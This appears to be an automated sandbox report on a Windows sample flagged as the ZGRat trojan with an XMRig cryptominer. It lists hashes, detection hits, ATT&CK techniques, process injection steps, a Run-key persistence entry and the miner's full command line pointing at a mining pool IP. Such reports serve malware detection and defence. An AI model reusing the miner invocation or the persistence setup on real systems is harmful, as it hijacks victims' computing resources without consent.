xmrig | afddabb10af9cbd11a940567f1ef2a8d0483fefd47d575cae5e8e615c2f15f5b

Analysis

max time kernel
208s
max time network
223s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
08-05-2024 11:56

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General

Target

jaser.exe
Size

286.0MB
MD5

45cf735073402183e3650f69b264323f
SHA1

e30987fc42dd931e2fcdc02474b7a8f363e7731b
SHA256

afddabb10af9cbd11a940567f1ef2a8d0483fefd47d575cae5e8e615c2f15f5b
SHA512

3844fac4876376abb4b3e249ef950b8fc806098a22e857898e61cb26ecad509fdace80685681c515c3b50cd0c14be09b09f71bb68a9f1a6383f73529cd928730
SSDEEP

6291456:re35QLVGaqBSYYvfeaQYbAJwD11CuIed8oA46BQ1:A5QLnqBSYYvAixcuIed+bM

Score

10^/10

xmrig zgrat miner persistence rat upx

Malware Config

Signatures

Detect ZGRat V1 34 IoCs

resource	yara_rule
behavioral2/memory/3220-3-0x00000160417E0000-0x00000160419FE000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-11-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-13-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-17-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-21-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-27-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-25-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-23-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-19-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-37-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-49-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-51-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-47-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-45-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-43-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-41-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-35-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-33-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-31-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-29-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-39-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-15-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-9-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-7-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-5-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-4-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-57-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-59-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-67-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-65-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-63-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-62-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-55-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1
behavioral2/memory/3220-53-0x00000160417E0000-0x00000160419F9000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/memory/4516-4922-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/4516-4943-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4516-4922-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/4516-4943-0x0000000140000000-0x00000001407DC000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jaser = "C:\\Users\\Admin\\AppData\\Roaming\\jaser.exe"	jaser.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3220 set thread context of 1924	3220	jaser.exe	94
PID 1924 set thread context of 4516	1924	InstallUtil.exe	96

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1924	InstallUtil.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	3220	jaser.exe
Token: SeDebugPrivilege	3220	jaser.exe
Token: SeDebugPrivilege	1924	InstallUtil.exe
Token: SeLockMemoryPrivilege	4516	ngen.exe
Token: SeLockMemoryPrivilege	4516	ngen.exe
Token: SeDebugPrivilege	2892	taskmgr.exe
Token: SeSystemProfilePrivilege	2892	taskmgr.exe
Token: SeCreateGlobalPrivilege	2892	taskmgr.exe
Token: 33	2892	taskmgr.exe
Token: SeIncBasePriorityPrivilege	2892	taskmgr.exe

Suspicious use of FindShellTrayWindow 40 IoCs

pid	Process
4516	ngen.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe

Suspicious use of SendNotifyMessage 38 IoCs

pid	Process
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe
2892	taskmgr.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 3220 wrote to memory of 1924	3220	jaser.exe	94
PID 3220 wrote to memory of 1924	3220	jaser.exe	94
PID 3220 wrote to memory of 1924	3220	jaser.exe	94
PID 3220 wrote to memory of 1924	3220	jaser.exe	94
PID 3220 wrote to memory of 1924	3220	jaser.exe	94
PID 3220 wrote to memory of 1924	3220	jaser.exe	94
PID 1924 wrote to memory of 4516	1924	InstallUtil.exe	96
PID 1924 wrote to memory of 4516	1924	InstallUtil.exe	96
PID 1924 wrote to memory of 4516	1924	InstallUtil.exe	96
PID 1924 wrote to memory of 4516	1924	InstallUtil.exe	96
PID 1924 wrote to memory of 4516	1924	InstallUtil.exe	96
PID 1924 wrote to memory of 4516	1924	InstallUtil.exe	96
PID 1924 wrote to memory of 4516	1924	InstallUtil.exe	96

C:\Users\Admin\AppData\Local\Temp\jaser.exe
"C:\Users\Admin\AppData\Local\Temp\jaser.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3220
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe -a rx/0 --url=65.109.127.181:3333 -u PLAYA -p PLAYA -R --variant=-1 --max-cpu-usage=70 --donate-level=1 -opencl
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4516

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1924-4891-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/1924-4923-0x00007FFF06D30000-0x00007FFF077F1000-memory.dmp

Filesize
10.8MB

Download
memory/1924-4912-0x00007FFF06D30000-0x00007FFF077F1000-memory.dmp

Filesize
10.8MB

Download
memory/1924-4911-0x00007FFF06D30000-0x00007FFF077F1000-memory.dmp

Filesize
10.8MB

Download
memory/3220-15-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-21-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-17-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-9-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-27-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-25-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-23-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-19-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-37-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-49-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-0-0x00007FFF06D33000-0x00007FFF06D35000-memory.dmp

Filesize
8KB

Download
memory/3220-47-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-7-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-43-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-41-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-35-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-33-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-31-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-29-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-39-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-51-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-13-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-45-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-5-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-4-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-57-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-59-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-67-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-65-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-63-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-62-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-55-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-53-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-4884-0x00007FFF06D30000-0x00007FFF077F1000-memory.dmp

Filesize
10.8MB

Download
memory/3220-4886-0x0000016041A60000-0x0000016041AAC000-memory.dmp

Filesize
304KB

Download
memory/3220-4885-0x0000016041A00000-0x0000016041A5A000-memory.dmp

Filesize
360KB

Download
memory/3220-4887-0x00000160276C0000-0x0000016027714000-memory.dmp

Filesize
336KB

Download
memory/3220-11-0x00000160417E0000-0x00000160419F9000-memory.dmp

Filesize
2.1MB

Download
memory/3220-4910-0x00007FFF06D30000-0x00007FFF077F1000-memory.dmp

Filesize
10.8MB

Download
memory/3220-3-0x00000160417E0000-0x00000160419FE000-memory.dmp

Filesize
2.1MB

Download
memory/3220-2-0x00007FFF06D30000-0x00007FFF077F1000-memory.dmp

Filesize
10.8MB

Download
memory/3220-1-0x0000016026FA0000-0x0000016027274000-memory.dmp

Filesize
2.8MB

Download
memory/4516-4922-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/4516-4943-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download